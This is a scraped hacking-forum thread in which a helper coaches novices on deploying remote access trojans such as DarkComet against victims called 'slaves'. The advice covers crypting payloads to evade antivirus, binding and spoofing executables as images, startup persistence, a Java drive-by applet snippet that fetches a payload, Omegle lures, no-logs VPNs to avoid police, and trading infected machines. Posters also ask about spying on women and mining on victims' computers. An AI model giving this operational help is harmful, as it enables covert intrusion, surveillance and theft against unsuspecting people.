<https://hackforums.net/showthread.php?tid=2295406> - Tekken

I highly recommend you to use Data protector since that is the best Crypter i've ever used and i'm pretty sure it won't be a disappointment

(Sep 18, 2012 09:19 AM)iHysteria Wrote: [\[CITE\]](#) Im using DarkComet, well im trying. but i cant open it with Sandboxie or when i give it to someone it isnt connecting. i have portforwarded to 200 i made a myftp.biz also i added something into Socket/NET can you please help me?

Most likely reason you don't show up when you test it on yourself is the fact your probably using your external address when testing, (Eg, your WAN IP, or your No-ip DNS) and most likely your

router/gateway/modem doesn't have NAT loopback support. Nothing to worry about, just when you test within your network use internal addresses, (eg, if your testing on the computer that is running the client use 127.0.0.1, if your testing within your network on a different computer use the address of the computer hosting the client).

(Sep 18, 2012 10:49 AM)larsek Wrote: [\[CITE\]](#) I have question to you.

And what RAT have the fastest sending files ?

1) None of the things you said.

You open a Custom port on your router, it has nothing to do with FTP P2P Or HTTP.. Once you open a custom port add the UDP + TCP Feature, and that would be good to go.

2) If you ask me about that question, i would say Blackshades..

But since there are a lot of stories going on Hackforums that it's backdoored i wouldn't recommend you to use it, I would stick to Darkcomet, other then that it really depends on your internet speed.

?cid - September 19, 2012, 10:39 pm

Cunning - September 20, 2012, 4:26 pm

What is the best remote Administratooon tool out right now?

apt-get money - September 21, 2012, 2:39 am

Now that Darkcomet is down, do you have any alternatives which have their own uPnP function, for people who cannot portforward? Ifnot, do you have any solution to portforwarding using uPnP or a free VPN? (Not proXPN, doesn't work for me.)

smitpaul - September 21, 2012, 8:59 am

Hi,

I have been using Darkcomet on a particular slave for the past 8 months or so but recently they changed their internet to BT infinity (Fibre Optic broadband) and ever since I can not longer connect to them.

Could anybody explain why this has caused a problem and how to get around it?

thekidshiz - September 21, 2012, 9:43 am

Is there any rat that has a working reverse socks feature? Its really the only feature that's important to me so i can use the proxy list with my monetizing method.

batou - September 23, 2012, 4:21 am

1. You answered a question about how the binding crypting and spoofing works, a few posts before,

before i try I'd like to know:

The infected bot file is a plane .exe file? if you bind it with a .jpg is it a viewable image with an .exe ending? Can you see it in the preview? but you still have to double click it? if you crypt it is it still viewable, if it was viewable before? And if you spoof it, it adds the ending .jpg?(e.g.) so it looks like a genuine .jpg file, that you can see in the preview and open with double click?

2. Is it possible to to use RATs in WAN Hotspots? You won't have access to the router there..

3. If I do Portforwarding, meaning I open a port in my router and computer? please correct me if i am wrong... could anyone in a network, e.g. flatmate using the same router, accedentially or in any other way recieve the data coming from the bot?

Thank you heaps for the help ?

Skiezo™ - September 23, 2012, 6:13 am

(Sep 20, 2012 08:49 AM)Nemesis44 Wrote: [\[CITE\]](#) Is it possible to set max bots on my darkcomet client ? I know cybergate has this feature, but i cant find it on darkcomet.

No, Sadly Darkcomet doesn't have this feature.

And i do not recommend to use Cybergate.

(Sep 20, 2012 11:18 AM)ANONYMOUS.EXE Wrote: [\[CITE\]](#) Hey I'm using DarkComet and when I connect to No-Ip it just says "try again later" why cant it link with NoIp ??

Could you please the picture of the error?

And do you mean the NO-IP Updater in Darkcomet or just the Running DUC 3.0?

If it is the NO-IP Updater, then you don't have to worry about that, Darkcomet isn't developed anymore and you can use DUC 3.0 instead of that.

(Sep 20, 2012 04:26 PM)Cunning Wrote: [\[CITE\]](#) What is the best remote Administratoon tool out right now?

Right now i think Darkcomet is the best Remote Administration Tool.

Because Blackshades has been several reported on the forum as Backdoored.

And Darkcomet is also one of the best Free Rats to use.

There are no updates going anymore on Darkcomet, But it's still worth a try!

(Sep 21, 2012 02:39 AM)????? Wrote: [\[CITE\]](#) Now that Darkcomet is down, do you have any alternatives which have their own uPnP function, for people who cannot portforward? Ifnot, do you have any solution to portforwarding using uPnP or a free VPN? (Not proXPN, doesn't work for me.)

I really don't know a RAT with that feature other then Darkcomet.

I know only 2 VPN's that support port forwarding

-Blackshades VPN / \$5 Month / <http://bshades.eu/vpn/>

-nVPN / \$6 Month / <http://www.nvpn.net>

Sadly enough you have to pay for them, But you won't be disappointed.

I highly recommend to buy nVPN if you're planning to buy a VPN.

3. If I do Portforwarding, meaning I open a port in my router and computer? please correct me if i am wrong... could anyone in a network, e.g. flatmate using the same router, accidentally or in any other way receive the data coming from the bot?

Thank you heaps for the help ?

1. No you have to make sure you crypt your file without having literal everything UNCHECKED, else it's going to get corrupted! after that you can bind your file with it etc, Your created virus will always be a Executable-File, No matter what even if you spoof it The end of the name is just going to change in a .JPG If you try to send it for example on skype; It will be .JPG.exe

2. Yes, If the WAN Hot spot supports UpNp

Then you might have to do find a free port, and try to listen it on your RAT, till you find a open one It basically needs the UpNp feature.

3. No, you're only port forwarding on your router.

No, you do not have to worry about that, No one ever had that before

Just make sure your provider don't find out that you are using your RAT on the port you're using, Else they will be blocking your Port forwarding Tab.

(Sep 23, 2012 07:46 AM)lox4444 Wrote: [\[CITE\]](#) Is there a way, using dark comet, to see what brand and model of computer the slave is using?

Yes, Double click or use the right mouse button on your slave to check for something " Information related "

To see his computer information.

(Sep 23, 2012 09:54 AM)Orpheus Wrote: [\[CITE\]](#) when my slave shut donw his computer i lose him, how to stay on their computer even if shuted down ??

You have to make sure you use Startup on your created file.

If you do not use the Startup feature, you lose him once he shuts or restarts his computer.

I'm sure that I added startup to my new server because I tried infecting some new slaves and my new server worked correctly

NoodleBot™ - September 29, 2012, 8:26 pm

(Sep 28, 2012 09:12 PM)_Eragon_ Wrote: [\[CITE\]](#) Can you help me with this ?

I tried updating DC server on my slaves' computers but Update From File didn't seem to work properly. After file transfer completed, my old server disappeared and my new server appeared. I know that's OK. However, the next day, DC showed my slaves with my old server, not the updated one. I have no idea about this but I know if my server cant be updated, it'll become detectable soon

and I'll lose my slaves.

I had this problem long ago with DC; bots would simply not update. Try using a new uploading website such as shotrushi.com or ge.tt and try again. I moved on to other RAT's though, it still didn't help me. Also make sure its a fresh server everytime or else the Mutex you made during server creation will laugh at you.

Tahu151 - October 15, 2012, 9:28 pm

I have a noob problem. I'm new to ratting and I'm trying to access my router by typing my default gateway address into google chrome but everything I've tried has returned "Oops! Google Chrome could not connect" I get the same results on firefox and internet explorer. Any idea what i'm doing wrong?

Skiezo™ - October 17, 2012, 6:33 am

Try to RESET your modem, the little box that is most of the time set up in the Living room, After that open Command prompt, enter ipconfig hit enter

And try the Default Gateway.

cytonwider - October 17, 2012, 6:52 am

Can you recommend me a program for bot herding? Need something with just a few options like download exec, update and it shouldn't be easily killed/deleted.

Thanks in advance.

Crypto Broker - October 17, 2012, 7:03 am

Hi i got a problem with Portforwarding. I went into the router and i did open some ports. But they youst dont wanna open, when i go to canyouseeme they are still closed.

My Router is: D-link DIR-655

Hardware Version: A4

Firmware Version: 1.31EU

Tell me if you need any other info to solve my problem.

Skiezo™ - October 17, 2012, 12:58 pm

Did you make sure you port forward on TCP + UDP?
And entered the correct IPV4 Address?

Also did you listen the port on the RAT before and did make sure your Firewall (e.g. Comodo) = Shut down, And your Antivirus as well when (e.g. Microsoft Security Essentials) you checked if it was open on <http://canyouseeme.org>?

This should get your port forwarding working if not, Check if you have another Router which needs to be Port forwarded.

ProExe - October 26, 2012, 12:47 pm

Question.

I need to open a port and I tried on Firewall opening port 1,000 and port 1,001 and they both are tcp and udp on inbound rule

If you could tell me what i'm doing wrong that would be great.

seveena - October 26, 2012, 1:07 pm

hi ..Skiezo™

my question is.. i build a Server and ran to my friend machines. it wont infect and showing some msg. saying that " Client stop working " like that.? and i'm using ClientMesh RAT.

Sorry for my BAD English

batou - November 6, 2012, 8:45 am

If you could tell me what i'm doing wrong that would be great.

This is what you do, Please follow this from the beginning till its end.

RouterGo to the Port Forwarding Tab (Firewall/Game Applications/Services)

Then Add a Port for example over 1000+ in this case we going to use port 2000

Add port 2000 on TCP + UDP, Now you have to enter your IPV4 Address in

Search for "CMD" type in: Ipconfig, You should see a list with your Default Gateway & IPV4 Address.

Now you need to enter the IPV4 Address on the line where it asks to put in a IP.

Click save (Router part is done now)

Remote Administration Tool Now you have to go to the TAB for Listening ports the Tab is called Socket/NET Tab for Darkcomet Listen to port 1000.

If you're using Blackshades go to the settings Tab, and activate port 2000.

Now Shut down your Firewall (e.g. Comodo Firewall)

Shut down your Antivirus (e.g. Microsoft Security Essentials)

Shut down your Windows Defender, (Only for Darkcomet) to prevent the RAT file being removed

Now go to <http://canyouseeme.org>

And see if you're portforwarded on port 1000.

(Oct 26, 2012 01:07 PM)seveena Wrote: [\[CITE\]](#) hi ..Skiezo™

(Nov 6, 2012 11:27 AM)theoke Wrote: [\[CITE\]](#) is it posible to bind a rat with a link somehow

Don't really know what you are asking for,

But there Java Drive-by's.

A Java Drive-by is basically a popup that will ask for permission to run a java applet.

When this applet is accepted and ran, a .jar file will activate a virus.

This way, your virus will be run without the slave even seeing the virus. So all he has to do is accept a java popup.

The applet code must be added to your index file, and then added to your Web host to build your website.

This is an example of an applet code, which you will need to add to your index.html:

```
Code <applet name='Please Run To Continue' width='1' height='1' code='java.class'
archive='java.jar'><param name="funtime" value="DIRECT LINK HERE!!!"></applet>
```

Java Drive-by chain:

Slave sees a popup > accepts popup > popup activates a .jar file > .jar file activates a virus.

akietta - November 6, 2012, 1:23 pm

can bots on R.A.T be used for DDOS/booter.

Can we inject a script into bot by R.A.T

a script which involves connecting to internet with GUI on also which programming language the script can be coded.

Also when the bot is active and online, if I connect to it by RDP will the user will be notified.

can I browse slaves internet in R.A.T if it is offline anytime.

If it is online and I start browsing its file and internet will the user come to know about it by movements of cursors and windows.

can I use cYBERGATE+PELock for perfect RATtING

Thanks..

lowboob - November 6, 2012, 1:57 pm

2 questions.

Do crypters make the file undetected by anti virus?

and if you have slaves and you restart your pc or they restart there pc, do you lose them?

Jannie420 - November 7, 2012, 8:53 am

Hi Skiezo

I'm using Cybergate. I was wondering if there's maybe a way for me to do all this without a router. i have made the server.exe and everything. the only part i cant get past is the portforwarding. I dont have a router, and my wireless internet keeps giving me a new IP everytime it connects.

The thing is, when i change all the necessary settings, a message pops up saying that the changes will only take effect the next time i connect. (but that's when i get a new IP and that means that canyouseeme.org never sees me)

If you could maybe PM me or something it would be great!

Thanks

oh and I'm sorry if i didnt make much sense... im quite a noob at this stage :P

?Dante - November 7, 2012, 9:33 am

Hey Skiezo™ :)

Rat using: DC 5.3.1

I wanna know- How to mine BITCOINS on slaves?

I think I've got to use some SILENT miners, but don't know exactly HOW to use 'em. Like, should I had to use the download & execute function on slave. Hmm?

And a MASSIVE and AUTO-PILOT "spreading method" by which I can get GIRL slaves EFFECTIVELY ? 'coz I don't have much time to spend on silly girls. I just want to troll on 'em and get their naughty pix?

PM me regarding this...as I wanna kept this method secret :P

VaMpZz - November 7, 2012, 9:44 am

What PPD sites can I use on my bots that don't require surveys?

seawolve1 - November 8, 2012, 5:53 pm

I am using Data Protector Crypter with Dark Comet. I created a Powerpoint Slide show that I want to bind my exe with. Do I crypt my exe before I bind the two together or after? Do I spoof the exe with pps? Never tried this method before and want to make sure I get it right the first time. Thanks for your help Skiezo!!

SKYPE: ttgxlegalize

Your Local IP (127.0.0.1) Connects only to your own host computer,

Your NO-IP will connect to your slaves, If they do not connect to your slaves, Your ports might have been closed, Did you also make sure that you Port forwarded on TCP + UDP? And have you listened the port on your RAT?

Also make sure that your Firewall/Antiviruses are down.

Once you did everything go to <http://canyouseeme.org> and check if your ports are open.

Thanks..Yes you can use your RAT to boot a Slave, it actually depends on what RAT though, You also have to make sure that you not boot with 10-20 Slaves, But have to know that you boot with 1-2k Slaves, Although i do not prefer to boot with your RAT since they are not made for them.

No you can't inject a script into a bot.

Yes, sometimes they do realize that they're lagging a bit.

But if they do not know that they're Ratted, you should be fine.

They might think that it's just the computer.

No you can't browse the slaves' internet as they're not appearing on your connections, They must be online.

Same as RDP, so they will be lagging.

I have no clue what PeLock is, never used it so not quite sure.

(Nov 6, 2012 02:57 PM)lowboob Wrote: [\[CITE\]](#) 2 questions.

Do crypters make the file undetected by anti virus?

and if you have slaves and you restart your pc or they restart there pc, do you lose them?Crypters makes your file either Undetectable or Fully undetectable to bypass a antivirus yes.

If you have used the " Startup " Feature on your RAT file that you have infected your slave with, they'll come back on your RAT once they restart or shut down their computer. If YOU shut or restart your computer.. and they did not, Than they do still appear on your RAT as long you have your port listened on the RAT

You have to make sure you do NOT use RAT settings if you're crypting your file with Data Protector. Else your file will go corrupted and you will not gain any slaves with your Executable file. Crypt your file without any Settings on your RAT, But on the crypter

Bind the Crypted file with anything you want to bind with.

Done to spread!

Most likely reason you don't show up when you test it on yourself is the fact your probably using your external address when testing, (Eg, your WAN IP, or your No-ip DNS) and most likely your router/gateway/modem doesn't have NAT loopback support. Nothing to worry about, just when you test within your network use internal addresses, (eg, if your testing on the computer that is running the client use 127.0.0.1, if your testing within your network on a different computer use the address of the computer hosting the client).

seawolve1 - November 10, 2012, 8:32 pm

Ok... I got everything to work correctly and tested on myself UNCRYPTED. just to make sure I had no-ip and portforwarding done correctly and connected to DC!! Now..Please explain how I crypt the exe I made with DC with Data Protector. I tried on my own but no success. I know I'm overlooking something simple ..Thanks again Skiezo..

Did you make sure you unchecked everything on your RAT?

Because if you are planning to crypt your file now with Data Protector while you have added settings on your RAT to your file then your file is going to get Corrupted, So make sure you uncheck everything and Add the most important option on your Data Protector " Startup " Than crypt it.

This should make your file ready to spread.

ASP4RAKOS - November 10, 2012, 10:47 pm

bro where can i find some worms to lan spread my rat?

Dear all,

I found this thread with a video tutorial explaining how to use DarkComet with Data protector:

<https://hackforums.net/showthread.php...+darkcomet>

Do you agree this is the right way?

Dark Comet

- don't turn on "start the stub with windows" on DC,
- don't use any DC stealth and persistant function
- compression is UPX

Data Protector

- injection mode is "App Launch"
- do not use "launch on startup"

Cheers all :)

DarkFuzzyCookie - November 14, 2012, 7:25 pm

When someone asks me to send them my link when giving me installs. Is it the file that i got to RAT the people with i send them or something else??? Thanks ?

YouJay - November 27, 2012, 8:44 am

Hi there. I've never used RATs before so I just wanted to clear a few doubts. Answer these questions considering DarkComet.

- A dynamic IP could prevent my RAT from functioning? (I know how to use NO-IP, so no prob with updating new ip etc)

- Would it be necessary to keep my listen server switched on 24/7? I could switch on my listen server only when I want to do something with my slaves and then switch it off?

Apologies, if these questions are baseless. :(

YouJay

kingage - November 27, 2012, 2:18 pm

I'm connected on a public network where the router is locked in a room I don't have access to, i know that the router is a Thompson TG787 (usually the username/pass for these routers are administrator/3!play but in this case is not working) My question is this: is there a way to forward ports without knowing the login details ? or a way to know the router login details ?

Thanks.

Thanks.

No. You can't port forward without knowing the login details. Your best bet is hoping that upnp is enabled, and use the 'auto portforward' function available on some rats. chances of upnp being enabled is small though

Sorry to disappoint.

I used to use omegle with a fake gif of a girl lol. Upload your server to a downloading website and send the link in the chat saying something along the lines of, "click the link to view my new video, thanksss:)" they'll download it and boom, you're done.

But always use a encryptor!

Tool001 - November 28, 2012, 2:45 pm

I'm really far of creating a RAT but i have some starer questions about sockets:
to whom creates C/C++ RATs, how do you manage with win x64 API ??
For example I'm having trouble with windows sockets especially in the client part...
Thanks in advance guys!!

Skiezo™ - December 5, 2012, 6:53 am

(Nov 13, 2012 10:38 AM)d695260 Wrote: [\[CITE\]](#) Dear all,

I found this thread with a video tutorial explaining how to use DarkComet with Data protector:
<https://hackforums.net/showthread.php...+darkcomet>

Do you agree this is the right way?

Dark Comet

- don't turn on "start the stub with windows" on DC,
- don't use any DC stealth and persistant function
- compression is UPX

Data Protector

- injection mode is "App Launch"
- do not use "launch on startup"

Cheers all :)

I would highly recommend you to not use any Settings on your Darkcomet at all, Just use the Startup option on your Data Protector
And there will be a low chance your file getting corrupted.

(Nov 14, 2012 08:25 PM)DarkFuzzyCookie Wrote: [\[CITE\]](#) Each time the server runs on another computer an error pops up saying that the program does not have permissions to run but i ran it as administrator, Any advice?

Your User Profile Service needs to be a Administrator.

If you don't have a Administrator account than it will be not working.

(Nov 27, 2012 07:40 AM)Mextracul Wrote: [\[CITE\]](#) When someone asks me to send them my link when giving me installs. Is it the file that i got to RAT the people with i send them or something else??? Thanks ?

Yes, they mean your RAT file that you infect people with.

(Nov 27, 2012 09:44 AM)YouJay Wrote: [\[CITE\]](#) Hi there. I've never used RATs before so I just wanted to clear a few doubts. Answer these questions considering DarkComet.

- A dynamic IP could prevent my RAT from functioning? (I know how to use NO-IP, so no prob with updating new ip etc)
 - Would it be necessary to keep my listen server switched on 24/7? I could switch on my listen server only when I want to do something with my slaves and then switch it off?
- Apologies, if these questions are baseless. :(

YouJay

- If you have a Dynamic IP than you only have to make sure you keep updating your Wide Area Network IP (WAN IP) on the NO-IP Panel you login with.

-You need to make sure you have your port listen on your RAT, You don't need to have it 24/7 switched on, Only when you want to use your RAT.

Great guy, assisted me in setting up DarkComet 5.3.1 within 10 minutes over TeamViewer, easy to trust. Again, vouch.

Thanks Skiezo :D

seawolve1 - December 20, 2012, 5:55 pm

Hey Skiezo,

Having an issue with Dark Comet (5.3). When I build my stub it saves the file as .dcp instead of the .exe. Output extension is on .exe. I cant see what I'm doing wrong.

EDIT: Never mind...I figured it out.

Skiezo™ - December 21, 2012, 12:13 pm

(Dec 20, 2012 06:55 PM)seawolve1 Wrote: [\[CITE\]](#) Hey Skiezo,

EDIT: Never mind...I figured it out.

The .dcp is most likely a Copy of your Executable file

You need to have it somewhere on your desktop or somewhere you saved it.

Darkcomet 5.4 is probably not the RAT you're looking for.

This Legacy RAT is a Legal RAT, You need one version under that one.

PM me for DarkComet 5.3, this was the last Illegal RAT developed by DarkCoderSc.

What is your favorite remote administration tool from experience?

Process - December 31, 2012, 10:13 am

(Aug 21, 2012 07:09 PM)R?porter Wrote: [\[CITE\]](#) I'm not sure if this is RAT related but what are updates and installs?

I always thought they were slaves.

When buying bots, an install is when they give you one of their slaves, but they still have them. So it's like sharing. It also costs less.

An update is where they give you full ownership of the slave, which costs more, but you don't need to share with anyone.

Encrypting - December 31, 2012, 11:31 am

What is a stub? Mind giving me a really simple answer cause I've been looking around for a while and haven't really got a clue. Thanks.

(Dec 31, 2012 12:31 PM)Encrypting Wrote: [\[CITE\]](#) What is a stub? Mind giving me a really simple answer cause I've been looking around for a while and haven't really got a clue. Thanks.

Since you have been looking all around without any clue
I will give you a detailed answer on this one.

A stub is a small piece of code which contains certain basic functionality which is used again and again. It is similar to package in Java or simply like header files in C. A stub basically simulates the functionality of existing codes similarly like procedures on remote machines or simply PC's. In

Crypters, client side server is validated using stubs, so never delete stub file from your Crypter. Stubs adds portability to Crypter code, so that it can be used on any machine without requiring much procedures and resources on other machines.

Let me explain with small example:

Suppose you are writing a code that converts bytes to bits, so we know formula or method for converting bytes to bits will remain same and it will be independent of machine. So the stub (or method stub or procedure) will contain something like this:

Code:

Code BEGIN

totalBits = calculateBits(inputBytes)

Compute totalBits = inputBytes * 8

END

Now what we will pass is only number of bytes to this stub. And it will return the resulting bits. Similarly, we include some common machine independent checks and functions in our stub, and in main code we only passes linkage and inputs to these stubs, which in return provides suitable results.

If there is a Tutorial that has been made by members, you have to check the replies of Members, If the downloads are not infected and I know ReadByte since he is one of our fellow Illuminati Members, and he wont bind his file to one of his downloads on the thread, But you have to keep an eye on it and don't just run files as some people do actually bind their file to it. In this case.. It's safe to download the file on the thread.

The Zodiac. - December 31, 2012, 7:48 pm

Who monitors the RAT thread?

Thanks.

condom - January 1, 2013, 9:57 pm

Why is it that when I startup Bs Stealth on lubuntu 12.04 PPC g4, under the Statistics tab, it shows local port 0.0.0.0/0.0.0.0:[PortIUse]?

Once again to be clear, I am using lubuntu 12.04 on power pc g4. I've used stealth before so I'm aware of the features and how to use this, it's just that now I'm running an unusual linux setup.

(Jan 3, 2013 01:11 AM)POPTheModder Wrote: [\[CITE\]](#) What is the best FREE crypter in your opinion?

I don't really have a best FREE crypter in my opinion.

If you really want go for a good Crypter you should totally buy a Paid Crypter,

When buying a Paid crypter you don't have to worry about the file going Undetectable as the coder is keeping the Crypter up-to-date

Free ones are barely getting updated as the coders don't get an income from it.

But I have listed some decent Free Crypters on one of my thread:

<https://hackforums.net/showthread.php?tid=2927998>

Scroll down below and you'll see the listed Crypters.

Your file got compressed with UPX, You basically reduced you server size.
Nothing to worry about, It's just a feature that reduces your file for people who want to have a smaller file.

(Jan 4, 2013 04:51 AM)mwei Wrote: [\[CITE\]](#) Hey bro, have a question for ya. Hope you can help.. I am using darkcomet 5.3.1. I tried it on both of my computer A and computer B. Then use the same port etc. Would I be able to steal someone else's installs, by simple having their RAT stub?

Yes you will be able to do that, since every stub output has a connection within it with the computer & host.

If you would intervene between those two, and replace one with your own, the connections would transfer to your own no-ip. You would of course need the same port etc. But this method isn't easy as it sounds like, because you would need to do some other difficult things as well.

mwei - January 4, 2013, 8:47 am

Thanks bro, I actually solved it accidentally haha, it was my firewall! Appreciate your offer anyway :)

Encrypting - January 4, 2013, 10:16 am

I love this user so much... He is so helpful... Sandboxie didn't load up my file for some reason and he ran it without sandboxie :D thanks for helping me. I really appreciate it.

Sicarius - January 4, 2013, 11:22 am

Is there a lot of money to be made ratting? Do the police really care about ratters?

Skiezo™ - January 4, 2013, 11:37 am

(Jan 4, 2013 12:22 PM)CRYPT3D Wrote: [\[CITE\]](#) Is there a lot of money to be made ratting? Do the police really care about ratters?

The police does care about Fraud, So if you are using your RAT for Blackhat Activity, They will try anything to get you and find you.. But as long as you use a VPN that doesn't save logs.. I doubt they will ever get you.. Although They don't really do a lot of investigations if you're just spying someone..

so a VPN is not really necessary if you're not doing Blackhat activity.

Sicarius - January 4, 2013, 11:40 am

Aaahh,sweet thanks. Was just interested :). I am to noobish to do anything blackhat :P

Winry Rockbell - January 4, 2013, 11:48 am

I want DarkComet to start at the booting of the computer, yesterday I got three slaves and after they rebooted i lost them.

here are my module startup settings:

<https://imgur.com/XZp3M>

krunkmonkey - January 5, 2013, 10:15 am

I'm new to Ratting so this is a very helpful thread.

You mentioned earlier that the new DC 5.4 is the legal version, and the older 5.3 is the illegal version. What exactly is the difference between the two? Any suggestions on where I can get a clean copy?

Also, do you have any suggestions on a good binding and spoofing software?

Thank you!

lo0ol1 - January 14, 2013, 12:36 pm

a question about jrat .jar output file but i cant explain in english that good can i pm you and ask it in dutch. thx in advance.

Skiezo™ - January 14, 2013, 1:08 pm

Darkcomet's Startup has 2 Applications to be ran, and that's pretty much messed up that's why I highly recommend not using the startup on Darkcomet, But on a Crypter that bypasses UAC such as xProtect.

Just use the startup feature and they'll come back.

(Jan 5, 2013 11:15 AM)krunkmonkey Wrote: [\[CITE\]](#) I'm new to Ratting so this is a very helpful thread.

The difference between Darkcomet RAT legacy (5.4) & Darkcomet 5.3.1 is that the Legacy one is Legal to use and you actually need permission from the one you want to use the remote desktop feature for.

and with Darkcomet 5.3.1 you can infect your victims with a small Executable file that doesn't need permission at all to run, and your victim doesn't even notice that you got him/her ratted.

So that's why Darkcomet RAT5.3.1 is the one that is aggressive when it comes to using it to infect your victims.

Skiezo, how's it feel to get 400 posts on this thread :D

And my question to you is.

How would you go about port forwarding a wireless usb?

Skiezo™ - January 19, 2013, 7:21 am

(Jan 19, 2013 07:26 AM)#Skyline Wrote: [\[CITE\]](#) Skiezo, how's it feel to get 400 posts on this thread :D

And my question to you is.

How would you go about port forwarding a wireless usb?

You can't find the default gateway in CMD when using a Wireless USB.

Otherwise it would be: 0.0.0.0, That's why you should try to use any Default gateway tool to find your Default gateways, or just guess your Default gateway to get on your router page.

IPV4 Address appears in the command prompt so after finding your default gateway it wouldn't be a problem to Port Forward ?

Revcode - January 21, 2013, 9:22 am

Very good ! Very trustful and helpful person, you've got my #vouch.

Thanks very much for everything.

If the command prompt pops open and you can't type it has nothing to do with the RAT, because it works normally for others.

Please PM Stev aka Kohsti about this issue as he owns his own product and he knows the best of it.

(Jan 22, 2013 07:41 AM)mrzone64 Wrote: [\[CITE\]](#) Is there a RAT for OSX that has a webcam spy featue? If so, can you provide dl link?

What do you mean by this question?

- What OS are you talking about Windows/Mac other..?
- Almost every RAT has a Webcam Spy Feature

- DarkComet RAT
- BlakShades NET
- BlackShades Fusion
- BlackShades Stealth
- CyberGate

And I can keep going on that one.

MrZone - January 22, 2013, 9:30 am

3. Can I infect my slave by just copying my stub into my flashdisk and then paste and open it in slave's PC?

I'm new here and using darkcomet.

Thank you beforehand ?

1. Yes,
2. Nothing,
3. Yes although there is a autostart script for usb's but only works on win XP.

corv0 - January 24, 2013, 4:19 am

First of all, thanks for sharing your knowledge for free. It's admirable.

Anyway, back to questions. I have set up the no-ip client successfully (that's what I'm guessing from the 3 green ticks), opened the port correctly (according to canyouseeme.org), I have configured dark comet as advised in many tutorials (sync with no-ip duc and with no FWB option enabled), yet I'm not able to make it work (not in sandboxes, neither in virtualbox). Users simply won't show up in the list. Is there something I can do to realize what is wrong? Something I can try to see which part is not properly working? (my client, my pc, my router etc.)

For the records, I have the same problem in cybergate. Firewall disabled both on router and PC (windows firewall).

Also, I'm using xxxx.no-ip.biz.. should I use another host? Like zapto or that is not the matter?

EDIT: I've tried setting 127.0.0.1:1604 as host in DC. Works like a charm this way. What's the problem then? The no-ip duc?

I have setup everything on Darkcomet, and I have tried running my server but I don't show up on my RAT user interface why so?

Most likely reason you don't show up when you test it on yourself is the fact you're probably using

your external address when testing, (Eg, your WAN IP, or your No-ip DNS) and most likely your router/gateway/modem doesn't have NAT loopback support. Nothing to worry about, just when you test within your network use internal addresses, (eg, if your testing on the computer that is running the client use 127.0.0.1, if you're testing within your network on a different computer use the address of the computer hosting the client).

Chinchan - January 29, 2013, 3:48 pm

How is it possible that my slave doesn't show up when he is connected to another network than his home network ?

Skiezo™ - January 31, 2013, 2:48 am

(Jan 29, 2013 04:48 PM)Chinchan Wrote: [\[CITE\]](#) How is it possible that my slave doesn't show up when he is connected to another network than his home network ?

That's weird because the file needs to be running back in the processes again of the Task manager that nothing has to do with the network..

Are you sure your possibly slave didn't came up on your RAT user interface?

It could also be the "Startup" feature that you might forgot to add to your crypted or unencrypted Executable file which you will lose after he restarts his /her computer.

SIM-1157967 - January 31, 2013, 4:49 am

I have some simple questions. Is it possible to setup a RAT completely free but still let it be something fairly good? I mean with a free crypter and a free RAT. Is it easy to setup a RAT? How much time will it take? I plan on hosting the RAT on my computer and not on my laptop. Can a RAT slow my computer or internet? And if I use it on my PC will my wi-fi connection with my laptop be affected? I use the laptop only and my PC is being used from my sis soo.. if no harm or slowing appears can I host it on my laptop?

Thank you in advance! Really amazing idea for a thread.

Chinchan - January 31, 2013, 9:38 am

Yeah I find it really weird too, because as it is a targeted slave, I can talk with him on facebook, but he doesn't show up in my RAT, and when I know he's home, he does...

hi im sexii - January 31, 2013, 4:36 pm

Total vouch for this guy! Asked for help and received it straight away! Guy fixed my comp within 20 minutes and made my computer clean! Thanks!

Herp_Derp21 - January 31, 2013, 6:46 pm

do you guys recommend any crypters that will work with darkcomet?? i dont think any free 1s work so ill probably have to go paid?

im not gonna even try to spread until i can get it crypted cause i dont feel like my Rat needs to be butt Fu@# by every firewall and antivirus haha

r00tkiller - February 1, 2013, 6:10 am

Question related r.a.t.s:

I will get over 500slaves(will pay to somebody)
Can I use them like rdp/vps any suggestion or links?
U know what I mean under RDP/VPS?

Lets say slave username is:admin
I can create username:admin1 but need way to make it RDP/VPS for me(download,install,surf like normal RDP untill shutdown)

Thanks for helping me

xploiter1 - February 5, 2013, 4:23 am

I am using Darkcomet and there is a problem. i cannot connect directly to slaves and i,ll try to explain here :

My Ports are open and everything is perfect (i tested on canyouseeme.org) ;

To connect i have to update my DUC than 'exit it' and than 'open a vpn called hotspot shield' than in darkcomet client i get connections.

(here you can see that i open the DUC and updated the ip and than closed it so it had ip of my isp not of VPN)

Now on other hand if i open darkcomet client(even though DUC is updated) before opening hotspot shield (tring to say without using hotspot shield) the darkcomet client doesnt connect to slaves .

HERE ONLY WHEN i exit the DUC and than open hotspot shield and after that opening the darkcomet client connects me to the slaves ..

I dont understand why

the right method should be kind of like

i open the duc, updated the ip and now i should be getting the connections in the client but it does not .. I have to exit the DUC and than turn on VPN to get the connections

I hope i am able to explain what iam saying ..

I want to know why is that happening why do i have to use VPN to connect to slaves why arent slaves directly connected ?

As long you have a VPN that supports Port Forwarding you'll be able to use a VM or a RDP because of the Port Forwarding that needs to be done Also you need to be aware of the one you're going to buy your slaves off. Some of them have the abilities to use the botkiller feature "Malware Killer" which results in losing your slaves so the buyer can take his slaves back by using the malware killer feature. Although I wouldn't blame someone for that unless you're sure you added the startup feature to your file.

(Feb 5, 2013 05:23 AM)xploiter1 Wrote: [\[CITE\]](#) I am using Darkcomet and there is a problem. i cannot connect directly to slaves and i,ll try to explain here :

I don't understand exactly what you mean but I guess I do know what you're trying to say. Not every port that says that is open on canyouseeme.org is based on your RAT. Some ports are open for other activities on your computer such as default ports. Make sure to listen the specific port on your RAT and then make sure to check if its open you can also try to close the port on your RAT and see if its closed if it's closed then you know that its available for your RAT.

(Feb 5, 2013 09:35 AM)danskerbirk Wrote: [\[CITE\]](#) What do I do if everytime I download Cybergate or Darkcomet it gets removed automaticly by my antivirus?

Shut down your Antivirus or make a exception for your RAT.

If your Antivirus is shut down and it still happens. Make sure to shut down your Windows Defender as well because that might causes it.

blueprint_suc - February 5, 2013, 9:15 am

Great offering you have here buddy.

My questions: When creating a new stub in DC, under stub finalization there is an option called

"Generate a Patch for remote settings updater". I was wondering, what this does and how this can be used?

Do you think paid rats like blackahades and netwire are much more stable than free ones like DC? I get a lot of duplicates in my DC sometimes, when I restart DC, the issue is fixed. Do you know what could be causing this?

What's an HTTP Flood and what are the benefits of using it?

Thanks

tectonikfou - February 5, 2013, 9:36 am

My router page(Zyxel) doesnt have the setting option of "firewall" or "port F..." what can I do to make my Jrat works correctly?

I can built it but when i try it on my self it doesnt work, i have opened no-ip and puted my host and everything but nothing...

It could be the port?

Thanks so much!

smitpaul - February 9, 2013, 4:27 pm

